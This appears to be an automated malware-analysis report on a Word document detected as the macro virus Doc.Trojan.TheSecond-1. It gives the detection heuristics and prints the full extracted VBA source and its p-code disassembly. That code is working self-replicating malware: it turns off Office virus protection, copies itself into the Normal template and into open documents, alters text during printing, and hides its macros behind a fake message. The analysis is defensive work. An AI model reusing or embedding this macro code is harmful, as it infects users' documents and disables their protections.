MALICIOUS
188
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains legacy WordBasic macro virus markers and a VBA Auto_Close macro, indicating a self-replicating malicious document. The Auto_Close macro attempts to copy its 'TheSecond' VBA component to the active document and the normal template, potentially spreading the infection. The macro also attempts to disable virus protection and may trigger a save-as dialog, suggesting further malicious intent.
Heuristics 5
-
ClamAV: Doc.Trojan.TheSecond-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.TheSecond-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7751 bytes |
SHA-256: c7cdefc43228344144ac737290fb6da738c588d48cd857c3167b23824eff429d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "TheSecond"
Sub AutoClose()
Copyrights = "The Second, 2000"
NickName = "Revenger"
Options.VirusProtection = False
flag = False
If Documents.Count >= 1 Then
counter = NormalTemplate.VBProject.VBComponents.Count
For i = 1 To counter
If NormalTemplate.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
Next i
x = Application.StartupPath + "\TheSecond.tmp"
If Not flag Then
ActiveDocument.VBProject.VBComponents("TheSecond").Export (x)
NormalTemplate.VBProject.VBComponents.Import (x)
End If
flag = False
infected = False
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
Next i
If Not flag Then
NormalTemplate.VBProject.VBComponents("TheSecond").Export (x)
ActiveDocument.VBProject.VBComponents.Import (x)
infected = True
End If
If havesave And infected And (Left(ActiveDocument.Name, 8) <> "Äîêóìåíò") Then
Dialogs(wdDialogFileSaveAs).Execute
End If
ActiveDocument.Saved = havesave
End If
End Sub
Sub FilePrint()
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "Íþáèí"
.Replacement.Text = "Íóäèí"
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
End With
Selection.Find.Execute Replace:=wdReplaceAll
Dialogs(wdDialogFilePrint).Show
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "Íóäèí"
.Replacement.Text = "Íþáèí"
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
End With
Selection.Find.Execute Replace:=wdReplaceAll
End Sub
Sub ToolsMacro()
Dialogs(wdDialogToolsMacro).Display
End Sub
Sub ViewVBCode()
MsgBox ("Íåò çàãðóæåííûõ ìàêðîñîâ!")
End Sub
' Processing file: /tmp/qstore_b37ko70o
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1182 bytes
' Macros/VBA/TheSecond - 3659 bytes
' Line #0:
' FuncDefn (Sub AutoClose())
' Line #1:
' LitStr 0x0010 "The Second, 2000"
' St Copyrights
' Line #2:
' LitStr 0x0008 "Revenger"
' St NickName
' Line #3:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #4:
' LitVarSpecial (False)
' St flag
' Line #5:
' Ld Documents
' MemLd Count
' LitDI2 0x0001
' Ge
' IfBlock
' Line #6:
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' St counter
' Line #7:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld counter
' For
' Line #8:
' Ld i
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd New
' LitStr 0x0009 "TheSecond"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St flag
' EndIf
' Line #9:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #10:
' Ld Application
' MemLd StartupPath
' LitStr 0x000E "\TheSecond.tmp"
' Add
' St x
' Line #11:
' Ld flag
' Not
' IfBlock
' Line #12:
' Ld x
' Paren
' LitStr 0x0009 "TheSecond"
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' ArgsMemCall Export 0x0001
' Line #13:
' Ld x
' Paren
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemCall Import 0x0001
' Line #14:
' EndIfBlock
' Line #15:
' LitVarSpecial (False)
' St flag
' Line #16:
' LitVarSpecial (False)
' St infected
' Line #17:
' Line #18:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #19:
' Ld i
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd New
' LitStr 0x0009 "TheSecond"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St flag
' EndIf
' Line #20:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #21:
' Ld flag
' Not
' IfBlock
' Line #22:
' Ld x
' Paren
' LitStr 0x0009 "TheSecond"
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' ArgsMemCall Export 0x0001
' Line #23:
' Ld x
' Paren
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemCall Import 0x0001
' Line #24:
' LitVarSpecial (True)
' St infected
' Line #25:
' EndIfBlock
' Line #26:
' Ld havesave
' Ld infected
' And
' Ld ActiveDocument
' MemLd New
' LitDI2 0x0008
' ArgsLd LBound 0x0002
' LitStr 0x0008 "Äîêóìåíò"
' Ne
' Paren
' And
' IfBlock
' Line #27:
' Ld wdDialogFileSaveAs
' ArgsLd Dialogs 0x0001
' ArgsMemCall Execute 0x0000
' Line #28:
' EndIfBlock
' Line #29:
' Ld havesave
' Ld ActiveDocument
' MemSt Saved
' Line #30:
' EndIfBlock
' Line #31:
' EndSub
' Line #32:
' FuncDefn (Sub FilePrint())
' Line #33:
' Ld Selection
' MemLd Find
' ArgsMemCall ClearFormatting 0x0000
' Line #34:
' Ld Selection
' MemLd Find
' MemLd Replacement
' ArgsMemCall ClearFormatting 0x0000
' Line #35:
' StartWithExpr
' Ld Selection
' MemLd Find
' With
' Line #36:
' LitStr 0x0005 "Íþáèí"
' MemStWith Then
' Line #37:
' LitStr 0x0005 "Íóäèí"
' MemLdWith Replacement
' MemSt Then
' Line #38:
' LitVarSpecial (True)
' MemStWith Forward
' Line #39:
' Ld wdFindContinue
' MemStWith Wrap
' Line #40:
' LitVarSpecial (False)
' MemStWith Format$
' Line #41:
' LitVarSpecial (False)
' MemStWith MatchCase
' Line #42:
' LitVarSpecial (False)
' MemStWith MatchWholeWord
' Line #43:
' LitVarSpecial (False)
' MemStWith MatchWildcards
' Line #44:
' EndWith
' Line #45:
' Ld wdReplaceAll
' ParamNamed Replace
' Ld Selection
' MemLd Find
' ArgsMemCall Execute 0x0001
' Line #46:
' Ld wdDialogFilePrint
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #47:
' Ld Selection
' MemLd Find
' ArgsMemCall ClearFormatting 0x0000
' Line #48:
' Ld Selection
' MemLd Find
' MemLd Replacement
' ArgsMemCall ClearFormatting 0x0000
' Line #49:
' StartWithExpr
' Ld Selection
' MemLd Find
' With
' Line #50:
' LitStr 0x0005 "Íóäèí"
' MemStWith Then
' Line #51:
' LitStr 0x0005 "Íþáèí"
' MemLdWith Replacement
' MemSt Then
' Line #52:
' LitVarSpecial (True)
' MemStWith Forward
' Line #53:
' Ld wdFindContinue
' MemStWith Wrap
' Line #54:
' LitVarSpecial (False)
' MemStWith Format$
' Line #55:
' LitVarSpecial (False)
' MemStWith MatchCase
' Line #56:
' LitVarSpecial (False)
' MemStWith MatchWholeWord
' Line #57:
' LitVarSpecial (False)
' MemStWith MatchWildcards
' Line #58:
' EndWith
' Line #59:
' Ld wdReplaceAll
' ParamNamed Replace
' Ld Selection
' MemLd Find
' ArgsMemCall Execute 0x0001
' Line #60:
' EndSub
' Line #61:
' FuncDefn (Sub ToolsMacro())
' Line #62:
' Ld wdDialogToolsMacro
' ArgsLd Dialogs 0x0001
' ArgsMemCall Display 0x0000
' Line #63:
' EndSub
' Line #64:
' FuncDefn (Sub ViewVBCode())
' Line #65:
' LitStr 0x0019 "Íåò çàãðóæåííûõ ìàêðîñîâ!"
' Paren
' ArgsCall MsgBox 0x0001
' Line #66:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.